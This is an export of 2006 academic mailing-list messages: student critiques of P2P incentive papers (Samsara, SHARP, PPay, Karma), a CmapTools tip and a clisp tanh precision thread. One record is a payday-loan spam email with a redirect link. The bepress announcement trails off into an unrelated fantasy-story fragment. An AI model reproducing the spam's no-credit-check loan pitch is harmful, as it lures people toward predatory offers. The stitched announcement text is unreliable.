does provide an insight into how certificates can be used to authenticate nodes and how leases or soft state timed claims that expire after a specified period can be used to recover the resources which could get lost when a claim holder fails. Claim holders are given a probabilistic assurance regarding their claims and so that ensures the same added advantages as discussed in the Samsara model with regards to transient failures in the nodes. In Sharp the global resource trading and resource discovery is similar to Samsara in terms of pair wise barter exchange since bartering between two nodes help in removing the need of a central agreement. However since Sharp claims are self certifying the lack of a central agreement makes the system prone to attacks by malignant users who can pretend to be different nodes at different times and still use the lease timeout method to attack the system. That is because each node makes its own identification and certificate. However if the node certification is centralized or based on a centralized certificate store to ensure the validity of the nodes then this system would be more secure. Also the certificate made for each new node that enters the system should have its network card identifier or some other unique identifier stored along with certificates or have certificates generated from the net ID’s to prevent impersonation. In Sharp the resources at each site are controlled by a site authority which maintains hard states about resource status and slices and handles the claims at allocating the resources at that site. The process of the ticket and lease allocation is based on soft claims tickets and hard claims or leases to preserve local autonomy and control over resources. Leases help prevent a failed node or a compromised ticket’s value to eth duration of the ticket’s term. This concept of tickets and leases also help in delegation responsibility to the nodes and ensures that nodes that issue oversubscribed tickets are help responsible and are removed from the system and also are given a chance to restore the status in the system. Thus this system allows for control over the usage of the resources of the network. PPay: Ppay is a protocol to make micro payments in peer to peer systems and treats the idea of a secure network where financial renumeration are made and fraud prevention is done not by preventing fraud but by making it not profitable. This would be more useful in a gaming world where virtual money is used rather than for a real peer to peer application since the elimination of a centralized broker and the usage of transactions that are reconciled only a later stage would really run into issues when dealing with high valued transactions. So as the authors assert this system only works for micro payments. The system is based on transferable coins that can be transferred in a transaction and constitutes an buy or a sell in the network with a local fraud prevention built in , int the form of prevention of a duplicate transfer of a coin. However the protocol is optimistic and in case of node failures would need to wait for the node to come back up at which juncture the transaction is fulfilled or considered to be a fraudulent one and rejected or handled by the broker. This system however using the concept of floating self managed currency that is validated and reconciled when the user leaves the system or cashes in provides a stability to the system. The authors further issues the concept of limit certificates to ensure that only the broker prints the money by having the broker issue limit certificates to the nodes when they join the system. Even though this is a very interesting paper on the extension of peer to peer and its applicability to systems that need not manage small transactions they are are not really suited for any real world financial systems. Karma This paper discusses a peer to peer resource sharing network that handles the issues of nodes that consume more than they contribute by implementing a tracking mechanism where each nodes contribution and consumption is used to create a metric called karma which is used as a financial resource for each node that it needs to consume resources. A node cannot consume a resource from another node if the karma required for the object is less than the karma that he has. It implements by using local banks or banksets which are groups of nodes that keep track of the set of karma that belong to the users. Thus a local bankset controls the karma associated with the local nodes associated with the bankset. For each transfer of a resource a payment is made to the source node by the destination node and the transactions are cleared by the banksets corresponding to the two nodes. Thus it kind of creates the effects of local clearinghouses. Karma also prevents the karma of the nodes to not go out of bound by offsetting the values at end of certain epochs by reducing the values all the across the network though it is not clear how it is achieved when transactions could still be in process. Karma could however have the same potential issues that all the other papers discussed above have, that is since initally every node is given a certain karma, a set of malicious nodes where one node acts as a contributer and a set of other nodes consume from it and re-enter the system every time to claim the initial karma and again claim from the contributer node. Thus the karma of the contributor node could be made to increase. ",0,0 ,,,Exporting images to use in papers and presentations,"Hi, I've received several emails in the last few months asking how to export a Cmap as an image so that it will look good when importing into a document and/or presentation. The issue comes up mainly when importing into Word, where the Cmaps look fuzzy when printing. In contrast, printing directly from CmapTools produced a much better quality image. Here are some tips on how to get better quality exported images. When exporting an image from CmapTools to be imported in a Word document, on the dialogue box that comes up click on the ""Options"" button. A new dialogue box comes up that gives you the option to set the Image Scale and Quality. The Image Scale at 100% refers to 100% of the screen resolution, which is not very good (72 dpi) and so the exported image, if this setting is left unchanged, is a low quality image. Change this setting to 300% to get 210 dpi, close to the 200 dpi used for images in publications. (When printing directly from CmapTools, the software gets the resolution from the printer and so the image is scaled accordingly, that is why the resulting printout with the default settings is of better quality). The Quality setting can stay at 90% (default) or better change it to 100%. The exported image will be much larger than needed, but when rescaled when imported into Word should produce a good quality image for printing. Hope this helps, Alberto ---------------------- Alberto J. Cañas Associate Director, Inst. for Human & Machine Cognition 40 South Alcaniz St., Pensacola, FL 32502 Tel. 850-202-4491 Fax. 850-202-4440 www.ihmc.us/users/acanas ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 12:09:14 -0500",Paper 10,"The first paper, ""Samsara: Honor Among Thieves in Peer-to-Peer Storage,"" presents an infrastructure for symmetric storage exchange between peers. Samsara requires each peer to contribute the same amount of storage when it stores object in other peers. When a node A stores an object in other node B, B needs to store a storage claim in node A, which is incompressible placeholder for storage for resource exchange. Node B periodically checks if the storage claim is still stored on Node A. To reduce the redundant storage needed for storage claim, a node simply forwards the query to another node which holds the storage claim. To distinguished dishonest nodes and nodes with transient failure, node deletes replicas with a probability proportional to the number of consecutive failed query. Therefore, nodes which suffer transient failures can recover replicas from surviving copies in the system. One problem with Samara is that it does not deal with malicious nodes. If a node forwards the query to a malicious node, it may break the claim forwarding and cause object deleted. Nodes with very short session time will have to constantly waste bandwidth to replicate object because of the probability deletion of objects due to transient failure. Also, this paper only presents a solution in very limited problem which is symmetry storage exchange. In the next paper, it attacks a more general problem. The second paper, ""SHARP: An Architecture for Secure Resource Peering,"" presents an architecture for exchanging various resources, such as CPU, memory, instead of just exchanging storage. The three main components in SHARP are site authority, service manager, and agent. A service manager first requests resource from an agent, and then agent will grant resource in form of a ticket which is a soft claim that suggests but does not guarantee resource ownership. Ticket can be delegated to other peer. Service manager will then presents the tickets to the site authority to redeem resources. If the resource is granted by site authority, then it will issue a lease for the resources. This architecture allows site has direct control over resource. At the same time, it uses agent as a level of indirection to coordinate resources management. Also, agent is allowed to oversubscribe resource claims to balance a higher overall resource utilization and number of rejected tickets (because of oversubscribe). However, paper assumes sites are trusted and not malicious. The third paper, ""PPay: Micropayments for Peer-to-Peer Systems,"" present an efficient micropayment protocol. In existing micropayment protocol, the broken usually has a load O(n), where n is the total number of transaction made. PPay uses a concept of floating, and self managed currency to greatly reduce broker load to O(m), where m is the number of coins in the system. Broker B issues coin to a user U (owner of the coin). When a user U pays the coin to other user V, user U will have to sign the coin and send it to V. Whenever V needs to pay other user, V will need to send the coin back to U such that it can reassign to other user. Therefore, broker will not involve in any activity of coins, except the initial assignment and cash out of coins, or when owner becomes offline. This approach leaves traces of invalid coin assignment. Therefore, broker can find out who are the malicious users. However, all the coins have the same value in the system. If the value of resources in the systems are greatly varies, user may need to reassign a lot of coins for buying a single expensive resource, and it is inefficient. The forth paper, ""KARMA: A Secure Economic Framework for Peer-to-Peer Resource Sharing,"" present a framework on top of DHT to keep track of account of users. Each user will have a bank-set, which is a set of nodes in DHT, to keep track of its current balance of the user. The balance of a user can only be determined by the majority of the nodes in bank-set, so Karma will have an accurate balance of users even the existence of malicious nodes in DHT. Instead of using consensus protocol during transaction between two bank-set for strong consistency, Karma allows temporary inconsistencies in the account balances of users to achieve better performance. Also, Karma periodically recomputes the outstanding account balance to avoid inflation and deflation caused by node joining and leaving the network. However, if there is churn in the system, the recomputed account balance may vary a lot depended on the size of the system at the moment. Kelvin So ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 12:14:53 -0500",PAPER 10,"Samsara is a p2p file storage system that allows you to store x amount of data on the network in exchange for allowing others to store x data at your node. The main idea behind Samsara is that storage is not necessarily symmetric, but that it can artificially be made symmetric by allowing ""claims."" Consider two nodes, A and B. A wants to store something on B and in exchange for this, A sets aside storage space on itself for B. For B to ensure that A actually does this, it composes a block of data equal to the size that A allocates for it and then periodically checks to make sure that A is not cheating. If A is cheating then there is a chance that B will drop part of A's data on the floor. This is claimed to not be a serious issue because the probability is small, especially with replicated data. If C wants to store something on A then A can give C B's claim while storing C's actual data. In this way, if B ever asks A to validate the claim, A can pass this request on to C. The more files in the system, the fewer claims are needed but the longer the claim chain might end up being. There seems to be numerous attacks on this system. The first, which the authors mention, is having a node only store claims. This is advantageous because the node then only gets pinged once in a while to make sure it is actually storing something, thereby reducing its bandwidth. The amount of data that is being transferred between nodes is huge, 32GB in most of their examples. With this much storage, there is a large incentive to try and crack the key used to generate claims. Once this key is cracked (which might take a long time, months even) then you can effectively reduce storage from 32GB to practically nothing. The incentive is there because of the massive storage overhead drop. Once a node cracks one hash, it can then try again with another...once a node amasses several of these, it can have hundreds of gigabytes of storage set aside for less than a megabyte of local storage. Furthermore, malicious nodes can be very problematic. If you forward a claim to a node that drops it on the ground, you are punished. If you do this several times, your data (or at least part of it) is as good as gone. SHARP talks about generic resource sharing (not necessarily storage as in the previous paper) and how resources can be divided between sites and domains. A node can get a claim to resources from another node (which may deny this claim later on). The analogy the paper makes is an airplane ticket: the airline promises a seat to you, but if the flight is oversold then they might deny you boarding permission when you go to claim your ticket. These claims are unforgeable, therefore not allowing you to print up a fake 'boarding pass.' To get resources, a service manager gets the site authority to give it a claim (gets the boarding pass). Then the manager tries to claim the claim for a hard-state claim...basically handing in the boarding pass and then the flight crew lets you onto the plane. A hard-state claim says that resources WILL be given to you. Claims are transferable (unlike airline tickets) and/or tradable. The core of SHARP seems to be almost contradictory. The hope is get rid of a central agency that you trust and that must endure all of the work. To do this, they use authorities which still need to be authenticated. Having lots of these authorities is similar to having a server farm, or lots of very trustworthy peers. PPay (PeerPay) is a micropayment system which tries to get rid of broker load. The paper says that all current micropayment systems are O(n) in the broker, where n is the number of transactions. The basic principle is that brokers are overburdened in current systems while peers have little work to do. This does not scale well (as the number of peers increases and the broker stays constant). To help alleviate this, peers become responsible for the 'coins' that they are issued by the broker. Peers can always turn their coins into the broker (therefore making the system O(n) again), but there is a fee to discourage such behavior. The broker, therefore, is only involved when issuing new coins (or ranges of coins, therefore reducing load even more) and when old coins come back to be cashed. It is also occasionally used for arbitration purposes and for helping nodes deal with offline peers. A peer owns a coin and that can be spent by increasing the 'sequence number' and then signing it over to the new node. This new node can prove that it has the current coin by showing that it has a higher sequence number. The new node can then use this coin and sends a reassignment request over to the current owner of the node who sends the buyer a new assignment. Using several lemmas, the authors showed that this system is secure. In the end, this system seems like it has too many loopholes. The authors constantly stress that micropayments might not need high security because of the small amount of money actually being transferred. It seems easy for the owner of a node to spend a coin several times. Once a coin is cashed, his scheme will be found out and then he can be punished somehow. However, he can be offline then or have given the broker a fake identity or another of other situations can arise. It seems like if the amount of money that is being dealt with is truly small then it might not be worth a person's time to do this...but 'a small amount of money' is relative, especially when dealing with a worldwide economy (imagine a person in a 3rd world country with a failed economy, even micropayments may seem like a lot). The symmetric picopayment system they introduced (if actually dealing with picopayments) seems like it would work well for non-monetary systems or with truly fractionally tiny payments. Karma is similar to PPay, but deals with non-real-money economics. It has a super-node type setup where there are a set of nodes in the system that keeps track of the level of karma in the system. If you wanted to take over the system, you would have to take over the bank-set (super-nodes). The bank set keeps track of individual users' Karma, increasing or decreasing it depending on how many resources they give or take. This is to prevent freeloading in modern p2p systems. Nodes transfer part of their Karma to other nodes who then provide files or other resources in exchange. Bank sets verify that the requesting node has enough Karma to give. Signatures and other security methods are engaged to prevent nodes from cheating.",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 12:22:10 -0500",paper 10,"P-PAY deals with a secure micropayment mechanism. A broker is used to handle accounts, distribute and cash coins, provide security etc. Thus, the load on a broker is usually heavy and it also serves as a single point of failure and attack. The authors reasonably claim that utmost security is not required and that the payment mechanism must be lightweight so that the cost of the scheme will be less than the value of the payment. the main disincentive for cheating is that the user will not be able to carry out buisness in the future due to bad credit. in order to minimise broker involvement: 1) cashing coins involves a flat fee 2) when a coin has to be reassigned in the case that the owner is not present/or pretends to be absent, the holder and the owner will both be charged a small fee. users require a credit card to join the system which seems like a bad idea. it further raises concerns about user anonymity. SECURITY: all coins are signed by private keys. this enables detection of frauds such as replication,wrongful denial and double spending. COIN RENEWAL : to limit the amount of state kept by a peer, the coin must be renewed during a certain time. note that the worst case time to detect any fraud is equal to the renewal period. Thus the value of this time imposes a tradeoff between broker involvement and fraud-detection time. it also discusses ""pico-payments"" for small items such as message forwarding or answering queries. KARMA karma represents a scalar value that represents the overall standing of each participant. For each node, a set of k nodes called bankset, keep track of the node's karma increasing it when resources are contributed and decreasing it when resources are consumed. the karma is signed by the node's private key to make it tamper resistant. the bank-set also stores the epoch number which along with other parameters indicates the adjustments made so that the per-capita income is roughly constant. However, each node must be aware of any node joining or leaving the system to compute the correction factor which seems burdensome. the amount of karma for each object is selecting by an auction scheme. each node is assigned an id beyond its control which is based on solving a cryptographic puzzle result which results in a secure entry algorithm preventing sybil attacks. it is based on a assumption that on the whole all objects are consumed in an equal fashion - i.e. the number of downloads for each object per node remains roughly the same. It could be the case that a node shares unpopular objects and as a result its karma does not increase. We can also look at it from another point and argue that it forces nodes to share popular objects so as to increase their karma. In either case, the diversity of system-wide objects decreases. A user may also suffer due to routing policies which do not balance load. SHARP provides a framework for a secure distributed resource management. goals of such a system: 1) reservation of resources 2) prevent stealing of resources held by others 3) admission control 4) balance global resource sharing with local autonomy 5) it must be robust - protect resource availability 6) secure STRUCTURE : Multiple resource managers control different ,possibly overlapping, regions of the global resource pool. it uses the notion of a soft-state claim called a ticket that expires after a certain period so that the system can recover the resources if a claim holder fails. The ticket is presented to the site authority which may reject the ticket or honor it by issusing a lease for any subset of the resources or the term specified on the ticket. All claims are cryptographically signed to make them unforgeable and non-repudiable. oversubscribed claims: they improve resource utilisation but at the same time the probability that a site authority will honor the oversubscribed ticket decreases the with the increase in oversubscription degree. confinement problem : SHARP allows owners of the resource only a bounded amount of time for carelessly certifying some malicious entity access to the resource. The choice of a claim duration represents a tradeoff between agility,robustness and renewal overhead. SAMSARA enforces fairness in a P2P storage system without requiring trusted third parties, symmetric storage relationships, monetary payments or certified identities. it introduces the notion of a storage claim - incompressible placeholders for storage. one node is responsible for issuing those rights while another is responsible for consuming them.A node is responsible for the claims it has forwarded. Thus, nodes would prefer not to forward claims whenever possible. To allow honest nodes to recover from transient failures, a grace period is allowed for responding to queries. however, this leads to an attack whereyby malicious nodes do not store anything but choose replicas only for the grace period, selecting new ones as the period expires. The authors suggest a scheme where failures are exponentially more harmful for consecutive failed queries in order to protect honest nodes. However, the attack above still exists. the nodes also negotitate a Diffe-Hellman key during initial exchange that is subject to man-in-the-middle attacks. sybil attacks do not offer advantages as forwarding a claim yields no advantages. forwarding claims weaken data reliabilty unless a cycle is created whereby data reliablity is restored. the authors also indicate that this placeholders approach would not work for renewable resources such as bandwidth and processor cycles. ",0,0 Ross Lippert ,"spann@mit.edu, alvisio@mit.edu","Tue, 28 Feb 2006 12:28:48 -0500",Re: tanh,"Oh, I should have also tanh-ed my variables: Break 2 [6]> (defvar x 1.4885222352166389226913452148437499999999999999d9) X Break 2 [6]> (defvar y 1.4885222352166389226913452148437500000000000000d9) Y Break 2 [6]> (tanh x) 1.0d0 Break 2 [6]> (tanh y) **overflow** So this shows that it really is storing this, even if it isn't printing it out at the prompt. -r On Tuesday, 28 February 2006 at 8:49:03 -0500, Ross Lippert wrote: > Break 29 [41]> (tanh 1.4885222352166389226913452148437499999999999999d9) > 1.0d0 > Break 29 [41]> (tanh 1.4885222352166389226913452148437500000000000000d9) > **overflow** > > Now, what does this mean? Well, Andrew noticed that the literals in > clisp are more accurate than they would seem to have a right to be. > Marcelo noticed that this seems to be around (2^31-1)*log(2). BTW do > we have a table with log(2) computed out to more than 16 digits that > we could use to understand the extra digits above? > > Anyhow, > Break 30 [42]> (defvar x 1.4885222352166389226913452148437500000000000000d9) > X > Break 30 [42]> (defvar y 1.4885222352166389226913452148437499999999999999d9) > Y > Break 30 [42]> (defvar eps 2.22044604925031d-16) > EPS > Break 30 [42]> (- x y) > 2.384185791015625d-7 > Break 31 [43]> (- (* (+ 1d0 eps) y) y) > 2.384185791015625d-7 > > So that substraction and the printing suggests that once the literal is > bound to a variable that it loses this magic precision. But it actually > happens sooner than that: > Break 31 [43]> (- 1.4885222352166389226913452148437500000000000000d9 1.4885222352166389226913452148437500000000000000d9) > 2.384185791015625d-7 > > Why doesn't - deserve that same precision as tanh, I don't know, but it is > possible that oce two variables are in the act, they get squeezed into > ieee floats before anything else. What Andrew has noticed is that we can > ""catch"" clisp in the act of using higher precision floats by doing an > experiment with literals and tanh. > > What I hoped to show with the above is just how many extra digits a > clisp literal must be carrying. > > octave-2.1.57:7> x = 1.4885222352166389226913452148437500000000000000e9 > x = 1488522235.21664 > octave-2.1.57:8> dx= 0.0000000000000000000000000000000500000000000000e9 > dx = 5.00000000000000e-23 > octave-2.1.57:9> dy= 0.000000000000000000000000000000049999999999999e9 > dy = 4.99999999999990e-23 > octave-2.1.57:12> clisp_eps = (dx-dy)/x > clisp_eps = 6.75198291416038e-46 > octave-2.1.57:14> log2(1/clisp_eps) > ans = 150.053381111497 > > So it seems like we have a 150 bit mantissa. Why 150? I find that very > odd. Why not 128 or 256? It isn't even 128+32! Could they really have > a 32 bit exponent and 150 bit mantissa in an internal format? > > Thank you both for your investigations. > > -r > > -- > Ross A. Lippert > M.I.T., Department of Mathematics > Building 2, Room 335 Voice (617) 253-7905 > 77 Massachusetts Avenue FAX (617) 253-4358 > Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu -- Ross A. Lippert M.I.T., Department of Mathematics Building 2, Room 335 Voice (617) 253-7905 77 Massachusetts Avenue FAX (617) 253-4358 Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu ------------------------------------------------------------------ Date: Sat, 4 Mar 2006 19:05:49 -0500 From: ""Tony Scelfo"" Reply-To: tonys@mit.edu To: ""Ross Lippert"" Subject: Re: Tanh Problem In-Reply-To: <20060304231313.GA25293@math.mit.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <29501ff10603032150m27921ab6i5288f5913c4c3829@mail.gmail.com> <20060304175826.GB21864@math.mit.edu> <29501ff10603041304w3a9938b7lbaefc15c704d3e11@mail.gmail.com> <20060304231313.GA25293@math.mit.edu> X-Virus-Scanned: by amavisd-new at math.mit.edu Status: RO X-Status: A Content-Length: 4749 Lines: 131 That definitely breaks my theory. I hadn't found a case where a double worked where a long had an overflow. Tony On 3/4/06, Ross Lippert wrote: > I see. So from the first hit on those google terms it would seem that > it is possible to have floats with an arbitrary bit length. That's > interesting. > > But an internal conversion to an L number can't quite be what's going > on can it? > > [41]> (tanh 1.4885222352166389226913452148437499999999999999L9) > *** - floating point overflow > [42]> (tanh 1.4885222352166389226913452148437499999999999999d9) > 1.0d0 > > > > -r > On Saturday, 4 March 2006 at 16:04:51 -0500, Tony Scelfo wrote: > > If you do a search on clisp long float in google, there is a reference > > page saying that the long float can have a mantissa of >=3D 64 bits. I > > imagine that is how they are getting the 150 bit mantissa. > > > > Tony > > > > On 3/4/06, Ross Lippert wrote: > > > I don't think it is the L numbers being used > > > (BTW I did not know about them until you told me, thanks). > > > > > > [11]> (/ (- (exp 1.0L-7) (exp -1.0L-7)) 2.0L0) > > > 9.999999999997532564L-8 > > > [19]> (sinh 1.0d-7) > > > 1.0000000000000017d-7 > > > [20]> (sinh 1.0L-7) > > > 1.0000000000000016666L-7 > > > > > > The L numbers behave like numbers with a 64 bit mantissa. > > > This is roughly the extra sized mantissa you'd want to implement > > > a transcendental function using software arithmetic, but it > > > is clearly not what is going on here. > > > > > > The experiments the other two students did clearly indicate that > > > somewhere inside is a 150 bit mantissa 32 bit exponent float. > > > Now just where that float gets made, who knows. It would be nice > > > to know how and why it is there. Just out of curiousity. > > > > > > > > > -r > > > > > > > > > On Saturday, 4 March 2006 at 0:50:19 -0500, Tony Scelfo wrote: > > > > I was clicking around on the logs for question 2 and I took a minut= e > > > > to read what people had written in about the floating point overflo= w > > > > for tanh in clisp. > > > > > > > > Here is what I wrote on my problem set... I think it is somewhat re= levant. > > > > > > > > Clisp can represent numbers as: > > > > regular floats: 1e9 > > > > double precision floats: 1d9 > > > > long prevision floats: 1L9 > > > > > > > > A close reading of the source might show that I am wrong to assume > > > > that clisp computes tanh directly by the (e^x - e^(-x))/(e^x + > > > > e^(-x)), but either way, the following observation is interesting. > > > > > > > > (exp 1e9) - floating point overflow > > > > (exp 1e-9) - 1.0 > > > > (exp 1d9) - floating point overflow > > > > (exp 1d-9) - 1.000000001d0 > > > > (exp 1L9) - 8.0029817706609725333L434294481 > > > > (exp 1L-9) - 1.0000000010000000004L0 > > > > > > > > For the evaluation of (tanh 1d9), it seems to me that clisp is > > > > changing the internal representation to 1L9 in order to be able to > > > > compute the two exponentials. > > > > > > > > Once we increase to (tanh 1d10), we get floating point overflows in > > > > the internal long floating point format. > > > > > > > > (exp 1e10) - floating point overflow > > > > (exp 1e-10) - 1.0 > > > > (exp 1d10) - floating point overflow > > > > (exp 1d-10) - 1.0000000001d0 > > > > (exp 1L10) - floating point overflow > > > > (exp 1L-10) - 1.0000000001L0 > > > > > > > > That is why I think that (tanh 1d9) and (tanh 1L9) work while (tanh > > > > 1e9), (tanh 1e19), (tanh 1d10) and (tanh 1L10 have a floating point > > > > overflow. > > > > > > > > I did a bunch of google searching to figure out how tanh might be > > > > implemented in clisp. I found descriptions of the long floating po= int > > > > representation along with a note saying that clisp won't convert > > > > regular floats to double precision or long precision in order to > > > > follow standards. However, there was no similar statement to say t= hat > > > > clisp would not migrate double precision floats to long precision > > > > floats. > > > > > > > > Hope this helps figure out what is going on. > > > > > > > > Tony > > > > > > -- > > > Ross A. Lippert > > > M.I.T., Department of Mathematics > > > Building 2, Room 335 Voice (617) 253-7905 > > > 77 Massachusetts Avenue FAX (617) 253-4358 > > > Cambridge, MA 02139-4307 e-mail: lippert@math.mit.edu > > > > > >",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 09:38:15 -0800",PAPER 10," These papers explore solutions to the free rider problem. The networks we have examined so far do not have any way to require peers which use the network to contribute resources to it, and studies have shown that a noticeable portion of the people using a network do not contribute to it. These papers present four different systems which attempt to address this problem; Samsara, PPay, Sharp, and Karma. Samsara is designed to enforce fairness in a peer-to-peer storage system. It does this by requiring that each time peer A stores a file on peer B, peer B is given a claim to an equal amount of space on peer A. After this exchange takes place, A+B both check up on each other, to ensure faithfulness. In order to avoid having a large overhead in claimed but unused storage space, claims can be chained together. That is, if A has a claim on B, and B has a claim on C, B can use its claim on C to satisfy A's claim. However, if C fails or cheats, then B is held responsible. When a node fails, it is punished in a probabilistic fashion. This allows for nodes experiencing transient failures to recover, but their data will probably be removed if the node fails for too long. This does not fix the problems of malicious nodes, or nodes which will refuse to transfer all of the data back when the person who stored the data wants to recover it. In light of the cost of uploading large amounts of data, especially with DSL with slow upload speeds, or traffic shapers, it would be possible for a peer to store data and respond to queries, and only fail when someone attempts to upload a lot of data from it. PPay addresses this problem from a different angle, proposing the idea of a micropayment system, where each peer must pay a small amount for each download. PPay offers a scheme for floating currency, so a broker only needs to be involved to create and delete accounts, and redeem the currency. The requirement that each person using the network have an account with the broker creates a serious problem for many networks, however. Networks which wish to provide a level of anonymity for their users will not be able to do so under this scheme; A could prove that B was part of the network, and the records at the broker will provide B's identity. Sharp is a resource management system which uses the concept of claims from Samsara, but extends them so claims can represent any resource, and can be signed over to a third party. They avoid a centralized server by having each site sign the claims for its resources, giving us self-certifying resource claims. They also demonstrate how individual sites can work together to form an economy, trading resource claims and managing the available resources in a secure fashion. A large scale prototype of this system has been run successfully on PlanetLab. Karma is a system which keeps track of resource consumption and contribution in a peer-to-peer network. For each node, this is represented by a single scalar value, called the node's karma. The karma which each user has is tracked by a group of nodes, called a bank set, and each transaction in the network is counted as it occurs. Every so often, the karma values are re-scaled to prevent inflation or deflation of karma. The Karma protocols rely on the assumption that no more than a fraction of the nodes in the system are malicious; a system running it could still be vulnerable to Sibyl attacks. Also, since each node starts out with some initial karma, a node could simply join, use that karma up, quit, and then re-join with a new identity. The potential damage done by a single node is limited by requiring each node to solve a cryptographic puzzle to join, but this is still a cause for concern. Also, I'm curious how much overhead the Karma system generates; each transaction now requires action on the part of the entire bank set, rather than just the two nodes engaging in the transaction, and the nodes on the path between them. -- Victoria Krafft ",0,0 Oliver Kennedy ,egs+summary@cs.cornell.edu,"Tue, 28 Feb 2006 12:57:41 -0500",PAPER 10,"Most P2P applications we've studied up to this point involve hosts contributing resources to the system, and generally assume that hosts will contribute as much as they consume. This assumption cannot be held in many cases. This week's papers explore ways of ensuring fairness in P2P exchanges. Note that few P2P systems directly exchange data; node 1 may provide resources to node 2 while node 2 provides resources to 3 and 4. The assumption is that if each node contributes as much as it uses, the system remains stable. Karma is one approach to this problem. Using a typical ring-based DHT, Karma maps each node to a set of ""bank nodes."" A node joining the system obtains a certain amount of karma. Every time a transaction is performed, the consumer provides the producer with a signed receipt. The consumer's account is charged, and the producer's account is credited. In order to combat inflation or deflation, all balances are normalized over the entire system periodically (over a large period). This scheme suffers from several major problems. Firstly, a client may repeatedly create accounts (the Sybil attack the paper mentions). Since each host is given some initial karma, a host may use multiple host creations to boost its balance. The proposal to use cryptographic puzzles to limit the rate of entry is weak, as processor time may not be the limiting resource. Regardless of implementation, this scheme is also weak to either malicious consumers or malicious providers. Karma has no notion of simultaneous trade, so ultimately the consumer will need to trust the producer (or visa versa). This single point of trust allows a malicious host to cheat another out of karma or services. Samsara takes a slightly different approach. Rather than trying to force a capitalistic model onto a system which doesn't support it, Samsara ensures that it is in each host's best interest to be fair. In this system, hosts exchange blocks of data between themselves (to build a distributed backup service in their example). They periodically check to see if the hosts are storing the data appropriately. Because one host may wish to send blocks to another host which does not need the favor returned, the second host instead sends back a ""claim"" block. This block is deterministically generated in secure manner so that it takes up no space on the second host, but requires the first host to store it. Samsara notes that in a fair P2P network, service dependency rings are established. Host A serves B who serves C who serves D who serves A. It makes use of this by allowing a host to transfer a claim to a host that it provides a service for. In this example, B stores a claim for A, but it may transfer the claim to C. When A asks B to verify that it still holds the claim, B forwards the request to C. This makes B reliant on C, but C is already reliant on B for service. If one of the periodic validations fail, the host stops providing service with some probability. Since each host stores multiple replicas of their data, transient errors only provide a minor disruption. Consistent leeches on the other hand will not be able to obtain service for any extended time period. Samsara has two major failures. Firstly, it is intricately tied to persistent storage as the measure of service. No clear mapping exists to allow Samsara to mediate processor or network load. Secondly, they note that the periodic verification takes up a non-negligible amount of network bandwidth. They dismiss this by verifying on the day-week scale. This approach may not scale well to a large distributed service such as gnutella where sessions take place over less than an hour. Sharp is a midpoint between these two ideas. Servers (or more generally agents functioning on behalf of servers) create a form of currency via signed promises to devote resources over a specified time period. These promises can be exchanged as currency, subdivided and redistributed. Duplicates can also be made, since the promises are probabilistic in nature. These probabilistic promises are exchanged at the source of the service for hard guarantees of service or a failure message along with a complete chain of promises that identify a single entity as the culprit. Sharp builds in a little bit of overbooking to ensure that loads are kept up in the case of client failure, but excessive amounts of overbooking can easily be traced and the culprits dealt with. Sharp's main flaw is that it requires that each identity be traceable back to a real world entity. Failing that, it is extremely vulnerable to Sybil attacks. Moreover, while ticket falsification may be traced to a particular identity, the model assumes secure service providers, and thus the model maps poorly to a more generic one such as gnutella; a malicious service provider can make itself indistinguishable from a faulty one. -Oliver Kennedy Cogito cogito ergo cogito sum -- ""I think that I think, therefore I think that I am."" -- Ambrose Bierce, ""The Devil's Dictionary"" ",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 28 Feb 2006 16:35:42 -0500",Blackboard and Berkeley Electronic Press Announce Content Alliance,"[Forwarding from Bepress. --Peter.] New Integration Tool Will Bring 85,000 Papers to Online Learning Communities Washington, DC, and Berkeley, CA, February 28, 2006 - Blackboard Inc. (Nasdaq: BBBB) and The Berkeley Electronic Press (bepress) today announced the launch of the ResearchNow Blackboard Building Block, a new tool that integrates with the Blackboard Learning System, enabling online access to tens of thousands of scholarly materials. The ResearchNow Content Building Block makes it possible for educators to search directly in Blackboard for access to more than 85,000 journal articles, working papers, institutional repository materials, theses and dissertations hosted within ResearchNow, The Berkeley Electronic Press's innovative database of scholarly information. Relevant resources may be easily selected and incorporated into the Blackboard Academic Suite. ResearchNow is a collection of academic materials drawing from several primary sources: the roster of peer-reviewed, Berkeley Electronic Press journals (27 and counting), bepress-hosted subject matter repositories such as the bepress Legal Repository and COBRA: The Collection of Biostatistics Research Archive, and all working papers, preprints and other ""grey literature"" content from institutional repositories hosted by bepress that have opted for inclusion. More than 50 schools - including the University of California system, Boston College, Cornell, and the University of Nebraska, as well as major universities in Europe and Australia - use the bepress platform for their institutional repositories. The bepress repository platform has been co-marketed with ProQuest Information & Learning since 2004 as Digital Commons. Collectively, ResearchNow materials have been downloaded more than 3 million times in the past year. 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Already many of the goblins were flying back down the river to escape from the trap: and many of their own wolves were turning upon them and rending the dead and the wounded. Victory seemed at hand, when a cry rang out on the heights ",1,1 CheckForDeposit ,"""DMDX@psy1.psych.arizona.edu"" ","Tue, 28 Feb 2006 17:07:11 -0700",Will an extra 1500 help DMDX@psy1.psych.arizona.edu," 5/16/2006 - 9:54 PM Hi Katina@em.ca, If you need funds now, we can help. Apply online now for up to fifteen hundred dollars. http://grnspd.bargainbuyer-places.net/Redir.aspx?id=438353&email=Katina@em.ca Getting approval is easy, Katina@em.ca... We won't even check your background or rating. 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Thanks. tintinago@yahoo.es --- rodney tamblyn escribió: > To unsubscribe, E-mail to: > ----------------------------------- > Hi everyone, > > I am thinking of making some screen video tutorials > for Cmaptools to > assist graduate medical students getting started > with mapping. I'd > like to cover the basics of concept mapping, sharing > maps through > places, and some advanced topics like collaborating > on maps. > > I would be interested in suggestions from the group > as to the areas > that should be covered. Comments from educators > with experience in > teaching concept mapping would be greatly > appreciated. The videos > will have audio, so the text that accompanies the > tutorials will > provide an opportunity not only to highlight how to > use the software > features, but provide some basic starting points for > building > effective maps. > > I have some experience using Camtasia studio for > making maps (on PC) > and SnapZ Pro (OSX), and I think these approaches > will prove an > effective way for creating the tutorials. You can > see some examples > 